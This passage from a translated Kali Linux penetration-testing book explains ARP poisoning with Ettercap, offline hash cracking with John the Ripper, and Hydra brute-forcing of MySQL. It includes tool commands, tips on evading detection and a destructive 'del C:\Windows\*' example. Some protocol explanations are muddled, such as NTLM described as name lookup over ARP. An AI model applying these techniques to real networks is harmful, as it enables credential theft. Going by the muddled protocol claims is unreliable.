可爱的标志,非常具有启发性。是的,在蜘蛛背上有一个无线路由器。Ettercap 有一些用于无线网络的很棒的插件。我们现在不会涵盖无线网络,但这是需要知道的。Ettercap 可以嗅探和捕获数据,就像 tcpdump 和 Wireshark 一样,但它还可以欺骗网络流量,捕获有趣的信息,并将其传输到文件中。图形界面可以在应用程序 | Kali Linux | 嗅探/欺骗 | 网络嗅探器 | ettercap-graphical 中找到,这将启动 Ettercap:

以下截图显示了 Ettercap 的图形界面。我们首先通过选择菜单栏中的 Sniff | Unified Sniffing...来启动统一嗅探:

现在我们被问到要使用哪个接口。通常情况下,如果需要的话,它将是默认的。通过下拉框,您可以选择系统上的任何接口。点击确定:

警告!

在使用 SSH 隧道时,如果从远程机器使用,Ettercap 将中断隧道连接。它们似乎无法很好地协同工作。

一旦配置了统一嗅探,您会注意到菜单栏已经发生了变化。

首先我们需要记录消息。在菜单栏中选择 Logging | Log user messages...:

然后会弹出一个窗口,用于为消息输出命名文件。给它一个文件名,然后点击确定:

接下来,我们需要开始嗅探流量。转到开始 | 开始嗅探。这里发生的情况与 tcpdump 和 Wireshark 执行的功能相同。目前,Ettercap 只是被动地捕获数据包。在开始嗅探之前,您可以在日志菜单下设置 Ettercap,以便保存所有捕获的数据包以供以后检查。您只需将捕获保存到一个.pcap文件中,就像在 tcpdump 和 Wireshark 中一样。

通常,只保存用户消息的输出就足够进行渗透测试。在渗透测试中,您主要是在寻找密码和登录凭据。消息日志将捕获这些信息。有时,为了进行额外的侦察,您可以保存整个捕获:

一旦嗅探开始,我们需要扫描主机。在菜单栏中选择主机 | 扫描主机。这将扫描本地网络以查找可用的主机。请注意,还有一个选项是从文件加载....您可以选择此选项,并从文本文件中加载主机 IP 地址列表。当在大型网络上时,这是一个很好的选择,您只想欺骗文件服务器和域控制器的流量,而不是欺骗工作站。这将减少网络流量。ARP 欺骗可能会产生大量流量。如果是大型网络,这种流量可能会减慢网络。如果您在秘密测试,这种流量会让您被发现:

在下面的截图中,我们看到了我们从扫描中获得的主机列表。由于这是一个小型网络,我们将欺骗所有主机。我们看到有五个主机列出,包括 MAC 地址。请记住其中一个是测试机器:

我们已经准备好对水进行投毒并查看浮出的东西。转到 Mitm | Arp poisoning...然后点击它:

然后,您将获得一个窗口来设置要执行的投毒类型。选择嗅探远程连接。然后点击确定:

以下屏幕显示了 DNS 投毒正在进行中:

投毒完成后,数据将通过 Ettercap 界面发送,显示管理员用户及其 NTLM 密码哈希。这已经足够开始使用 John the Ripper 或 Hashcat 对密码哈希进行破解。

黑客提示:

即使管理员密码失败,您仍然应该破解它们。管理员用户可能已经忘记了他们登录的机器,而失败的密码可能在系统的其他地方起作用。

在大多数安全策略中,Windows 系统设置为在用户尝试五次或六次连接后拒绝连接。这个策略保护用户帐户免受暴力破解密码或猜测密码的攻击。这将阻止暴力破解密码,但正如您所看到的,这个策略对这种漏洞没有影响。您已经有了管理员密码,所以您可以第一次登录。

Ettercap 的一个很棒的功能是它还可以在命令行下使用 Ncurses 界面。这在使用 SSH 从远程系统工作时非常方便。使用Tab键和箭头键在菜单中移动,使用Enter键进行选择。

命令行上的 Ettercap

在许多情况下,您将无法使用 Ettercap 的图形界面。当您从一个破解的 Linux 机器上发动攻击时,您可能会发现它根本没有图形桌面。在这种情况下,您可以使用 Ettercap 的 curses 版本或纯文本版本。这在使用 SSH 从远程系统工作时非常方便。使用Tab键和箭头键在菜单中移动,使用Enter键进行选择:

要从命令行启动 Ettercap,您需要向命令添加一些标志;就像大多数 Linux 命令一样,您可以使用ettercap -help来获取标志及其含义的列表。对于基本用法,您可以使用以下命令:

root@kalibook :~# ettercap -C -m ettercap-msg.txt   

-C标志以 Ncurses 模式启动 Ettercap。我已经包含了-m ettercap-mgs.txt标志,将消息输出导出到ettercap-msg.txt文件。如果您想保存整个捕获,添加-w ettercap-capture.pcap。这将保存完整的捕获,以便以后在需要时将其导入 Wireshark。我发现使用命令行标志保存输出更容易。

下一张截图显示了基于 CLI 的 Curses 界面。

下一张截图显示了基于 CLI 的纯文本界面:

总结

在本章中,您将学习如何使用 tcpdump、WinDump 和 Wireshark 嗅探网络,以及如何过滤协议和 IP 地址。之后,您将使用 Ettercap 进行欺骗和 ARP 欺骗。

在我们的下一章中,我们将利用从 ARP 欺骗中获得的信息积极地攻击我们的目标,并学习如何在线和离线破解密码。

进一步阅读

第五章:密码攻击

您遇到的任何人都会告诉您,弱密码是导致许多成功入侵的原因,无论是本地还是远程。作为受过训练的网络管理员或安全工程师,您已经多次建议用户使其密码更加安全。您可能没有意识到的是,许多技术专业人员使用弱密码或密码模式,不仅危及自己的帐户,而且危及他们维护的整个网络。本章将向您展示几种测试网络密码的工具,以便您可以帮助指导用户养成更好密码的习惯。

我们将在本章学习以下主题:

  • 密码攻击计划

  • 见我的朋友,约翰尼

  • 见约翰尼的父亲,约翰·里帕

  • 见前任—xHydra

哈希算法的性质是所有哈希应该大致相同的长度,似乎并不更可能有人能够破解以下内容:

$6$NB7JpssH$oDSf1tDxTVfYrpmldppb/vNtK3J.kT2QUjguR58mQAm0gmDHzsbVRSdsN08.lndGJ0cb1UUQgaPB6JV2Mw.Eq. 

任何比他们更快破解的:

$6$fwiXgv3r$5Clzz0QKr42k23h0PYk/wm10spa2wGZhpVt0ZMN5mEUxJug93w1SAtOgWFkIF.pdOiU.CywnZwaVZDAw8JWFO0

遗憾的是,即使在一台慢速计算机上,密码Password的第一个哈希值也将在不到 20 秒内被破解,而GoodLuckTryingToCrackMyPassword!的第二个密码哈希值可能需要数月才能破解。以下列表说明了您可以在互联网上找到的数十个单词列表中找到的一些密码,这些密码使得破解密码变得更加容易。一些常见的哈希可以通过www.google.com破解,只需将哈希粘贴到搜索栏中即可。大多数网络应用程序和操作系统会向用户选择的密码添加一些字符,称为“盐”,以使简单的加密哈希变得更加复杂和不易猜测。

以下屏幕截图显示了一些明文密码示例及其哈希值:

密码攻击计划

密码通常是任何系统或网络的关键。自计算机诞生以来,密码一直被用来阻止未经授权的人查看系统数据。因此,密码破解是黑客行业中非常需要的技能。捕获或破解正确的密码,您就拥有了通往王国的钥匙,可以随时随地访问任何地方。随着我们的讨论,我们还将谈一下如何创建强密码。如果您是一位阅读本书的系统管理员,那么您就是我们所说的人。攻击者正在寻找的是您的密码。当然,每次登录时输入 12 或 14 个字符的密码都很痛苦,但您的网络有多重要呢?

就个人而言,我们希望从一开始就不要使用密码这个词来表示这个功能。它应该被称为密钥。系统的普通用户会因为受密码保护的数据而哭泣和抱怨。大多数人将密码这个词与进入俱乐部或其他东西联系起来。用户会在所有财产上安装锁和防盗警报,但在计算机上使用一个四个字母的密码。人们将密钥这个词与锁定重要物品联系起来。实际上,如果您的密码只是一个单词,您将在几分钟内被攻破。最好使用密码短语。像玛丽有一只小羊之类的东西比单个单词好得多。随着我们在本章中思考您使用的密码的重要性,我们将看到这一点有多重要。

破解 NTLM 代码(重温)

密码攻击的一种方法在第四章中已经涵盖,嗅探和欺骗。在运行 NetBIOS 的 Windows 网络上,捕获 NTLM 哈希就像小孩玩耍一样简单。它们就漂浮在 ARP 云中等待被摘取。正如我们在前几章中所展示的,当您使用 Metasploit 时,您甚至不需要将此哈希破解为密码,而只需将哈希传递给另一个 Windows 系统。

有时,你需要实际的密码。系统管理员有时会变懒,会在几类设备上使用相同的密码。假设你有一些 Windows 哈希值,你需要进入一个路由器或一个你不确定密码的 Linux 机器。很有可能其他系统的密码是相同的,所以你可以破解 NTLM 协议泄漏的哈希值。我们中的许多人都有在基础设施设备上重复使用密码的行为,尽管我们知道更好的做法。对于路由器和其他基础设施设备,使用不同的用户名和密码可能更安全,除非绝对必要,不要使用域管理员帐户登录任何机器。

黑客提示:

关闭 NetBIOS,并使用 Kerberos 和 LDAP 的 Active Directory 进行 Windows 登录和网络功能。

在本章中,我们将研究破解密码,而不仅仅是传递哈希值。

密码列表

对于任何一个好的密码破丨解丨器,有时破解密码的最快方法是使用密码列表。有时甚至最好运行一个包含最差的 500 个密码的列表,以查找那些使用糟糕密码的懒惰者。大多数情况下,一个糟糕的密码可以在几秒钟内被破解,而使用强密码短语可能需要几个小时、几天或几周。

Kali 包含许多密码,你可以在以下目录/usr/share/wordlists中找到它们。以下也是一些好的密码文件的链接和列表。谷歌搜索也会带你找到常见密码的列表,以及从网站上窃取的密码列表。当使用被窃取的密码列表时,只使用已经清理过用户名的列表。使用完整的被盗凭证(用户名和密码)可能会让你陷入麻烦。只有密码列表,你只有一个没有与原始用户关联的单词列表。这是安全和合法的使用:wiki.skullsecurity.org/Passwords

清理密码列表

有时,当你得到一个密码列表时,列表可能是文本文件中的制表列,或者可能有奇怪的空格或制表符与文件中的单词混合。你需要清理这些空格和制表符,并且每行只有一个单词,以便单词列表可以与密码破丨解丨器一起使用。

Unix 的最早概念之一是系统中的小程序可以被管道连接在一起执行复杂的任务。Linux 是 Unix 的红头发表亲,这些工具都包含在每个 Linux 发行版中,包括 Kali。这是老派的方法,但一旦你理解了如何做,它就非常有效。我们将逐个介绍使用的每个程序,然后展示如何将它们串联在一起以执行这个任务,所有命令都在一行中。

以下是 500 个常见密码的列表。这些单词被列在一个 HTML 表中,并且行号已经编号,所以当复制到文本文件时,原始形式如下所示。你可以找到的大多数单词列表都包含大约相同的极其常见的糟糕密码,尽管我们使用的是英语,但其他语言也有单词列表。弱密码并不严格属于英语世界。

也就是说,下一个截图是非常常见但非常薄弱的英语密码的一个很好的例子。展示所有 500 个单词会浪费空间,所以我们在出版商的网站上提供了500-common-original.txt文件:

请注意,我们左侧有行号需要丢弃,每行有五个单词,用制表符和空格分隔。我们需要将每个单词移到新的一行。

cat命令读取文本文件并将其打印到屏幕或另一个文件中。与cut命令一起使用,我们将首先剥离行号。cut命令将制表符视为字段之间的间隔,因此数字是行中的第一个字段。我们想要剪切数字并保留单词,所以我们剪切第一个字段并保留其他字段。为此,请运行以下命令:

cat 500-common-orginal.txt | cut -f2  

我们得到了如下返回的输出。如果你看一下,你会发现这是每行中仅有的第一个单词的列表,而不是整个列表。使用-f2标志,我们已经剪切了除每行中的第二个字段之外的所有内容。以下截图已经删除了一些单词,以保持本书的 G 级评级,但有些人天生粗鲁。列表中的一些单词可能不适合打印,但它们是前 500 个常见密码。在黑客行为中,你正在处理一个人的本性,这并不一定是社会上正确的。人们经常会选择粗鲁的词语,当他们认为没有人会看到他们写的东西,或者他们认为自己是匿名的时候。

由于我们想要每行的所有单词,我们必须在命令中包括其他五列。一行中有五个单词,加上数字,共有六个字段,我们想要剪切第一个字段(数字)并保留其余部分,所以我们将-f标志更改为-f2-6;这将剪切字段 1 并打印出字段 2 到 6。我们看到返回已经去掉了数字行,但我们仍然每行有五个单词。这在密码破丨解丨器中不会正确运行;我们仍然需要将所有单词移到自己的一行上:

cat 500-common-orginal.txt | cut -f2-6 

这个命令字符串去掉了行号,尽管保留行号不会超过几秒钟。但这样做不够整洁,有时整洁是很重要的。以下截图是该命令的输出:

为了让所有单词都在新的一行上,我们使用--output-delimiter标志,并使用$'\n'的值,这告诉输出每个分隔符(即制表符空格)在该行上将下一个字段移到新的一行:

cat 500-common-orginal.txt | cut -f2-6 -output-delimiter=$'\n'   

现在我们每个单词都在新的一行上,但我们还需要将其打印到文件中以供使用。为此,我们将使用重定向命令>将输出发送到新的文本文件。请注意,>命令将正在运行的命令的输出发送到文件,但如果文件名存在,它将覆盖文件的内容。如果要增加已有文件的大小,请使用>>命令将输出附加到已有文件中。

以下截图显示了将单词发送到弱密码的工作文件,并测试输出文件的内容和格式:

运行ls命令来双重检查你是否在正确的目录中,并且你选择的输出文件不存在,然后运行以下输出到一个文件:

cat 500-common-orginal.txt | cut -f2-6 --output-delimiter=$'\n' > 500-common.txt

黑客笔记:

如果你意外地运行了cat 500-common-orginal.txt | cut -f2-6 --output-delimiter=$'\n' > 500-common-original.txt命令,你将覆盖原始文件,并且最终得不到你想要的新文件内容。

请注意,这次屏幕上没有输出,但当再次运行ls命令时,我们会看到工作目录中的新文件。通过查看新文件,我们可以看到我们准备好供使用的新密码文件。

我的朋友约翰尼

首先,我们将谈谈我的朋友约翰尼。约翰尼是我另一个朋友约翰的 GUI 前端。对于大多数密码破解任务,这是使用约翰的简单方法。它使用大多数密码破解会话的正常默认值。一旦你捕获了一些哈希值,将它们保存到一个文本文件中并打开约翰尼。

以下是 LXDE 桌面的屏幕截图,显示了 Johnny 的位置。您还可以在所有其他桌面上找到它,位置相同,应用程序| 05 - 密码攻击| johnny:

我们正在使用书中早期的先前利用中的密码哈希,当时我们正在传递哈希。我们已经将列表缩短,只包括我们认为对网络系统具有关键访问权限的两个帐户的哈希:

一旦 Johnny 打开,点击“打开密码文件”按钮,选择您保存用户哈希值的文本文件。这将把文件加载到 Johnny 中。

黑客笔记:

最好删除访客和任何其他您不想破解的用户帐户。这将减少破解密码所需的时间。如您所见,我们只破解了两个帐户。

以下截图是您对 Johnny 界面的第一印象。非常简单,但功能强大:

因为这是一个测试网络,对话框窗口中只有两个用户名。在生产网络中,将有与组织中被允许登录系统的人数一样多的用户名。很可能这两个用户中至少有一个具有管理员特权。

黑客的笔记:

请记住,管理员帐户始终是 UID 500。有时,管理员会更改管理员帐户的名称。这在某些情况下会隐藏帐户,但一旦您获得了帐户的 UID,找到管理员就像 500 一样容易。

我们知道这些哈希来自 Windows 7 系统。在 Windows 7 中,默认不再使用 LM 哈希,因此我们必须更改默认的 LM 哈希破解。如果不更改,您将在“输出”选项卡中收到以下错误:

点击“选项”选项卡,并将自动检测更改为 nt2,如下截图所示:

现在点击“密码”选项卡,然后点击“开始攻击”按钮。这将开始破解过程。您可以在屏幕底部选项卡中看到该过程:

请注意,它现在显示格式为 nt2 并正在运行。喝杯咖啡吧。这可能需要一段时间。

还要注意我们有一个“暂停攻击”按钮。如果需要,您可以暂停攻击。

有时,开源应用程序会有怪癖。Johnny 也不例外。有时,在进行破解运行时,该过程将运行并破解密码,但密码不会显示在 GUI 窗口中。如果“暂停攻击”按钮变灰,只能点击“开始”按钮,则运行已完成,并且密码已被破解。您可以通过单击“选项”按钮找到破解信息。此页面还将显示运行所需的时间以及破解的密码。这是获取运行所有结果的最佳页面。

您可以在下一个截图中看到,使用大写和小写字母、数字和特殊字符的复杂性,破解两个密码分别花费了 7 小时 18 分钟,一个有六个字符,一个有七个字符:

John the Ripper(命令行)

John the Ripper 是 Johnny 的基础应用程序。您可能和我们一样,在使用密码破解工具(如 John the Ripper)时,更喜欢命令行而不是 GUI。您可能选择 CLI,因为它比 GUI 使用更少的资源,或者因为您正在通过 SSH 连接到没有 GUI 界面的服务器进行工作。使用 John the Ripper 很容易,而且通过使用命令行,可以使用更多选项和方法来使用 John,这些选项和方法尚未添加到 Johnny 中。

您可以看到 John 支持的各种哈希算法,并通过运行以下命令测试系统的破解速度:

john -test

这将运行 John 支持的所有各种哈希算法,并为各种哈希所需的速度提供信息。以下截图显示了test标志的输出:

我们将对从先前对系统的利用中获得的一组哈希运行 John。请注意我们使用的标志来执行此操作。我们使用--format=nt2,然后选择文件:

john -format=nt2 hashdump.txt  

通过这次破解运行,我们正在破解超过六个字符的密码。请注意运行此过程所花费的时间。这表明,当涉及密码时,长度比复杂性更重要。

在下面的截图中,您可以看到破解一个相当简单的七位字符密码花了 1 天 23 小时。第二个八位字符的密码在 4 天 14 小时 56 分钟后仍未破解。是的,每增加一个字符,破解所需的时间就会呈指数增长:

通过在运行后运行-show标志,您可以看到已破解的单词,以及我们还有一个未破解的单词:

这次破解是在一个运行处理器的虚拟机上完成的。增加处理器将增加破解过程中运行的线程数量,从而缩短任务所需的时间。有些人构建了装满处理器和 GPU 卡的机器,可以在几小时内破解我们正在使用的密码。有些人使用亚马逊 AWS 并设置具有大量处理能力的实例,但这需要大量资金。众所周知,一些聪明的大学生启动了用于建模太阳系的大学超级计算机,并使用这些系统快速破解密码。即使您的邻里邪恶黑客拥有这些系统,更长的密码仍然更好。这些系统是使用长度超过 14 个字符的密码或密码短语的原因。即使使用超过 14 个字符的密码短语,这表明如果您拥有哈希值,那么只是时间、金钱和处理能力的问题,您就可以得到密码。

xHydra

xHydra 是一个名为 Hydra 的密码破丨解丨器的图形用户界面前端。Hydra 可用于离线和在线密码破解。Hydra 可用于许多类型的在线攻击,包括针对 MySQL、SMB、MSSQL 和许多类型的 HTTP/HTTPS 登录的攻击,仅举几例。

我们将使用 xHydra 攻击运行 WordPress 站点的机器上运行的 MySQL 服务。由于该机器正在运行 WordPress 站点和 MySQL 服务,因此可以猜测数据库登录的用户名是wordpress,即默认的管理员帐户。默认情况下,MySQL 不会阻止暴力破解攻击,因此我们知道这次攻击有很大的机会成功。

要在 Kali 版本 1.x 中启动 xHydra,您需要转到 05 - 密码攻击|在线攻击|hydra-gtk。hydra-gtk 将启动 xHydra。是的,我知道这很令人困惑,但它们是相同的。以下截图显示了来自 LXDE 的菜单。(是的,那是我后面的摩托车,是哈雷)

需要记住的一点是,在 Kali 中,就像在任何其他 Linux 发行版中一样,您可以打开终端并在提示符处输入命令,也可以通过按下Alt + F2打开命令对话框。这将为您提供所谓的运行框。所有桌面都有这个功能。在接下来的两个截图中,我们展示了如何找到 xHydra,# locate xhydra以及如何在终端中通过名称xhydra启动它;以及当您通过Alt + F2键盘快捷键调用命令时的外观。以下是 Gnome 3 的运行框:

黑客提示:

正如我们所讨论的,Gnome 3 会以它们的方式做事情!即使它是错误的和令人困惑的。您输入要运行的命令,然后按Enter来运行它。关闭按钮将取消您的操作,并将您带回桌面。在所有其他桌面上,运行框会给您一个运行或确定按钮,它将运行命令。此外,在这些运行框中键入命令并按Enter将运行命令。

您还可以通过命令行打开 xHydra,方法是输入以下内容:

xhydra &  

&命令告诉 Bash 终端将应用程序后台化,并将命令提示符还给您。如果不添加&,您将锁定终端窗口,直到完成使用 xHydra。它会运行,但如果关闭此终端窗口,xHydra 也将关闭。

使用&会将从命令行运行的任何命令后台化:

打开 xHydra 后,我们会得到以下窗口。第一个选项卡“目标”用于设置攻击的目标和协议。您可以攻击单个 IP 地址,或从文本文件中选择目标主机列表。协议字段是选择协议类型。请注意,窗口底部显示了从命令行运行攻击时将使用的命令行字符串。

这是一个有用的学习工具,可以学习命令行选项及其工作原理:

我们正在攻击一个单一的主机,所以我们添加 IP 地址,将端口设置为3306,默认的 MySQL 服务端口,并选择 mysql 作为协议。

请注意,此窗口的选项部分有几个不错的选项。如果 MySQL 服务器启用了 SSL,您将在 SSL 框中打勾。对于任何其他使用 SSL 的服务,如 SSMTP、SIMAP 或 SLDAP,也会打勾。详细输出复选框将在运行时给您更详细的输出。显示尝试复选框在运行时将显示实际针对系统运行的密码。这很有趣,但会产生大量输出:

单击密码选项卡设置攻击的密码部分。在这里,我们添加用户root,选择生成单选按钮,并将字段更改为1:8:a。在底部字段中,您可能需要勾选尝试登录作为密码和尝试空密码字段。

在生成字段中,我们添加了1:8:a。这告诉 Hydra 运行密码从一到八个字符。小写字母a告诉 Hydra 只运行小写字母。如果我们添加字符串1:8:aA1% .,这将生成包括大写和小写字母、数字、百分号、空格(是的,在百分号和逗号之间有一个空格)和点的密码。从这里混合和匹配。

在这里,您将找到尝试登录密码的复选框字段,它将尝试使用登录名作为密码,如admin:admin,以及空密码的复选框。您还将在这里找到一个用于反转登录名的复选框,例如nimda,用于admin登录的密码:

接下来设置调整选项卡:

  • 由于我们正在攻击一个主机,将任务数量减少到八个

  • 由于主机在同一网络上,将超时值降低到 10

  • 由于这是一个主机,攻击使用一个用户名,所以勾选框选项以在找到第一对后退出

您将会发现,设置的任务可能低于实际运行的任务。我们设置为 8,但后来我们会看到实际运行的任务是 4。服务器只能处理四个运行线程,所以我们只能得到这些。运行线程可以根据 Kali 攻击工作站上发生的其他事情而改变,因此最好设置为比运行负载更多。请注意,将其设置得比实际运行任务高(例如,将其设置为 16)会导致应用程序挂起。这个数字也可能会根据被利用的服务类型而有所增加或减少:

MySQL 攻击的具体选项卡将保持默认设置。实际上,MySQL 攻击不使用任何这些设置:

现在我们准备点击“开始”选项卡,我们看到我们正在对那台服务器运行四个线程。这可能需要一段时间:

黑客提示:

请注意,软件的作者,就像本书的作者一样,要求您不要将这些工具或信息用于军事、特工或非法目的。请记住,只能将您的绝地力量用于善良。

嗯。我们还有 217,180,146,596 个密码组合要尝试,估计时间为 199,661,463 天 22 小时。也许是时候换一个更强大的 Kali 工作站了。这可能需要一段时间。也许 546,659 年的假期是邪恶黑客的最佳选择。

幸运的是,估计值很高。接下来,我们看到我们的测试现在已经运行了 70 小时 39 分钟,没有破解长度为五个字符的密码。在此期间,运行已尝试了 75,754 个密码,还剩下 12,280,876 个,估计运行时间为 11,454 天 13 小时。因此,为了书籍的利益,我们在这里停止测试,估计还剩下 32 年:

这次测试的速度主要由受害服务器的资源和设置决定。我们的受害服务器是一个低租金的 VM,这也是测试如此缓慢的原因之一。另一个限制因素是目标服务器可能太弱,持续的暴力攻击可能会将机器从网络中踢出。即使是具有大量资源的强大服务器也可能会出现拒绝服务(DoS)的情况。在进行暴力攻击时,您可能希望以较低和较慢的攻击速度为目标。作为攻击者,您不希望提醒管理员发动攻击。

这个测试还表明,捕获哈希并离线破解通常比在线攻击更快。还有一件事要记住:如果系统上运行任何入侵服务,您的攻击将在数年内被注意到。

因此,让我们在同一系统上尝试密码列表攻击。请注意,我们已将设置从生成更改为密码列表,并从 Kali 中包含的许多密码列表中选择了rockyou.txt密码列表。以下屏幕截图列出了目录并显示了压缩的rockyou.txt文件。您需要解压缩才能使用:

在下面的屏幕截图中,我们已选择了未压缩的文件,准备好开始:

通过好莱坞现代奇迹,我们看到我们已经破解了密码evil1。经过 562 次尝试和 31 小时,我们成功了。这对于尝试的次数来说是很长的时间。再次强调,服务接受密码的速度是决定性因素,并且需要一段时间。目标服务器上的软件防火墙和密码尝试限制可能会使其花费更长的时间,甚至使其变得不可能。

如果正确的密码在密码列表中更靠后,那么破解所需的时间会更长:

总结

在这一章中,你学会了使用三种新的密码破解工具,并且学会了如何将新项目添加到主菜单中。Johnny 和他的前辈 John the Ripper 是你可以在 Kali 上找到的最受欢迎的工具,用于在本地机器上破解哈希值,所以当你测试用户的密码决策时,你可能会选择这两种工具中的一种。

Hydra 比基于 John 的基本工具有更多的选项,但随着增强的功能,复杂性也增加了。Hydra 旨在通过网络攻击特定设备,但正如你发现的那样,攻击面很小,而且工具非常吵闹。

你还学会了 Hydra 可以使用 GPU 而不是 CPU,从而使你的破解速度更快。

在下一章中,我们将学习古老和破损的协议 NetBIOS 和 LLMR,以及如何利用它们的漏洞来获取对 Windows 系统的访问权限。

进一步阅读

第六章:NetBIOS 名称服务和 LLMNR-过时但仍然致命

在本章中,你将学习如何利用那些遗留的专有和破损的协议,它们仍然挂在几乎每个网络上,以你的优势,并获得你想要的访问权限。这是博最喜欢的攻击向量,他最喜欢的低悬果实,通常会导致对域和与该域相关的每个帐户的完全控制。在一年的时间里,最有可能有 80%的史诗级失败测试结果来自这种攻击向量的某种利用方式。

为什么我首先攻击的机器是 Windows 系统?答案是:NetBIOS,LLMNR,NTML 和 SMB 协议。

在本章中,我们将涵盖以下主题:

  • NetBIOS 名称服务和 NTLM

  • 嗅探和捕获流量

技术要求

要跟着本章学习,你需要以下内容:

  • 运行 Kali Linux 的副本

  • 几个 Windows 操作系统(在虚拟机上运行这些系统也可以)

NetBIOS 名称服务和 NTLM

在网络的早期,就在个人电脑诞生之后,人们希望能够从一个系统共享文件到另一个系统。在商业应用中,系统已经可以使用专有的网络协议进行网络化,比如 IPX(Internetwork Packet Exchange),托尔金环和同轴总线网络。所有这些专有协议的一个大问题是,它们都不能在它们之间进行交叉通信。这被称为供应商锁定,即使在今天,我们仍然有一些专有系统和协议。(是的,我在指责你,微软。)使用这些协议意味着为网络上的每个系统支付许可费-不仅是操作系统的成本,而且还需要额外的费用来网络化每个系统,然后在连接到网络的每个工作站上再额外收费。然后,是的,你可以让两个远离彼此的网络使用当时的电话线连接起来,但是系统必须运行相同的操作系统和网络协议才能进行通信。DEC 网络甚至不能在同一建筑物内与 Netware 网络进行通信,更不用说通过电话线进行通信了。这也是政府和军方所面临的问题,跨国通信和数据传输时代的到来,电话呼叫通过许多单点故障路由,没有办法使这些流量自行路由。通信网络可以通过打击一些战略要点而被关闭。需要一个自路由网络和一个共同的通信语言,于是 ARPANET 和 TCP/IP 协议套件出现了。我很幸运能在开始时参与其中,我从来没有想过它会发展成今天的样子。

在这段时间里,微软推出了他们自己的协议来网络 Windows 系统,但是,这些协议是专有的,只能在 Windows 系统上运行。其中第一个是 NetBUI。NetBUI 是一种不可路由的协议,几乎不需要配置,连接到同一个本地交换机或集线器的系统可以进行通信并愉快地共享文件和数据;然而,如果你想要在城镇之间发送文件,那么最好准备一个软盘。如果你在本地网络上有一个 UNIX 系统,你还需要软盘来将数据从你的 Windows PC 传输到 UNIX 服务器。NetBUI 只能在 Windows 上运行!当然,它很容易使用-你不需要成为网络工程师来连接到网络,你只需要插上你的电缆,通过知道其他计算机的名称,你就可以连接到它们共享文件,删除文件,甚至远程控制系统。哇,太酷了!除了,在那些日子里,Windows 没有安全性-没有。

记住,这是作为一个独立的个人电脑出售的,一个可以通过观察谁坐在电脑前的椅子上来控制安全性的系统。没有登录,没有用户帐户,没有 ACL,只是对本地网络上每个系统的开放和无限制访问。好吧,你正在读这本书,因为你要么在互联网安全领域工作,要么对此感兴趣,所以这里有一个课堂问题给你。你觉得这种网络模型有问题吗?如果没有,请退还这本书并购买《Better Homes and Gardens》的一本副本-你会得到更好的服务。与 UNIX 不同,它是从头开始设计成一个网络化的操作系统,Windows 从一开始就没有为此设计,今天仍然受到这些不良开端的影响。

那么这个魔术是如何运作的呢?当你连接一个系统到网络时,系统会发送 ARP 广播,说,“嘿,我的计算机名是 WS3,我在这里存储了这些好东西。”一个系统,通常是网络上的第一个系统,会成为主浏览器,它会跟踪机器名和网络资源。如果这个系统崩溃了,那么网络上的所有系统都会通过 ARP 进行选举,决定谁将成为下一个主浏览器。现在,如果你的网络上有不到 20 台机器,那么这一切都很好,但是如果在同一个网络上有超过 20 台机器,那么你现在就会遇到一个通信问题,而且每增加一台额外的机器,这个问题都会变得更加严重。

还记得 Trumpet Winsock 吗?Trumpet Winsock 是你必须手动加载到 Windows 系统上并与 com 端口进行斗争才能使其工作的第三方软件。这是 Windows 的第一个 TCP/IP 网络堆栈。微软后来收购了 Winsock 的开发人员,他们的源代码成为了 Windows NT 内置的第一个版本的 Windows TCP/IP 接口的基础。(不,微软并没有发明 TCP/IP)。

我们都知道问题所在:使用这种方法意味着你可以访问网络上的所有内容。没有数据是安全的,任何系统上的窥视者或小偷都无法触及,而且使用这种方法,没有办法追踪谁在访问这些数据。此外,你可以在没有登录和任何凭据的情况下远程控制这个系统。是的-你可以运行del C:\Windows\*并完全破坏一台机器。此外,远程位置的系统无法与总部通信,因为 NetBUI 是不可路由的。所以,我们都知道这不会起作用。微软最终也意识到了这一点,于是 NetBIOS 出现了-这是一个改进,但不是一个修复。这也是微软从 IBM 那里偷走大卫·卡特勒的时候,他带着他从 IBM 的 OS2 中的设计,设计并构建了 Windows NT 的时候。(是的,NT 的爸爸是 OS2。)NT 被设计成一个带有文件级安全用户帐户和 ACL 的网络化操作系统。

一个真正的网络操作系统。它也在一定程度上符合可移植操作系统接口(POSIX),因此它可以在有限的范围内与基于 UNIX 的机器进行通信。他们必须获得政府合同,当时政府系统的要求是符合 POSIX 标准。在这里,我们再次遇到了供应商锁定-是的,NT 有一些有限的 API 被认为是符合 POSIX 标准的,看起来很不错,但在现实世界中从来没有起作用。在尝试让这些 API 起作用时,微软的解决方案是购买更多的微软产品。它还带有一个用于网络接口的 TCP/IP 堆栈。现在,我们可能会说,“现在我们准备好了”。嗯-不完全是这样。微软一如既往地把“易用性”放在首位-当然,简单易用是一件好事,但在安全性方面并不总是如此。想想如果你不用锁门并保管好钥匙,那么进入你的房子会有多容易。如果你的门上没有锁,你永远不会把自己锁在外面。

微软和类似公司希望获得你所有的业务,而不仅仅是其中的一部分,并且竭尽全力来破坏常见的协议。我们又回到了供应商锁定。当然,我们会使我们的系统易于使用并且易于连接到您为我们支付的其他系统,但是当涉及到与 UNIX 服务器通信时就不要想了。哦,你想访问文件服务器?那就购买我们的服务器,然后你的个人电脑就能够与服务器通信。因此,由于供应商锁定,我们被困在 NetBIOS 和 NTLM 服务中。

NTLM 的目的是在网络上查找系统和资源。在活动目录域环境中,Kerberos LDAP 和 DNS 负责登录和共享网络资源的位置。DNS 是 TCP/IP 套件的协议,用于此用途,并且是我们每天在互联网上使用的协议,用于查找我们要找的东西。Windows 确实使用 DNS 进行系统调用,但如果没有使用完全合格的域名FQDN),那么 Windows 会默认回到 NTLM 进行系统查找。这就是我们的攻击向量:使系统查找恢复到 NTLM,因此信息现在通过 ARP 广播发送,而不是通过使用 TCP 或 UDP 直接调用 DNS 服务器来传输数据。

当用户尝试使用计算机名称连接到服务时,Windows 会查看以下内容以将名称解析为 IP 地址:

  • 本地主机文件—C:\Windows\System32\drivers\etc\hosts

  • DNS

  • NBNS

你可能会问,名字查找是如何绕过 DNS 进行查找的?嗯,这是设计上的。Windows 可能在域中使用 DNS 进行查找,但系统仍然喜欢使用机器名称的缩写版本,或者它们的 NetBIOS 名称,因此机器将通过网络发送 ARP 广播。当使用 IP 地址访问网站时,也会发生这种情况,而不是使用域名。

域控制器默认情况下仍会接受此登录。因此,我的机器登录为\\SRV1而不是//SRV1.companyname.net。在这些广播数据包中包含了我的机器名称、IP 地址、用户名和密码,因此任何通过数据包嗅探器(如 Wireshark) passively 监听网络的人都可以轻松捕获这些凭据。稍微进行 ARP 欺骗,这些凭据就会在整个网络中不断出现,然后...

NTLM 仍然在以下情况下使用:

  • 客户端正在使用 IP 地址对服务器进行身份验证

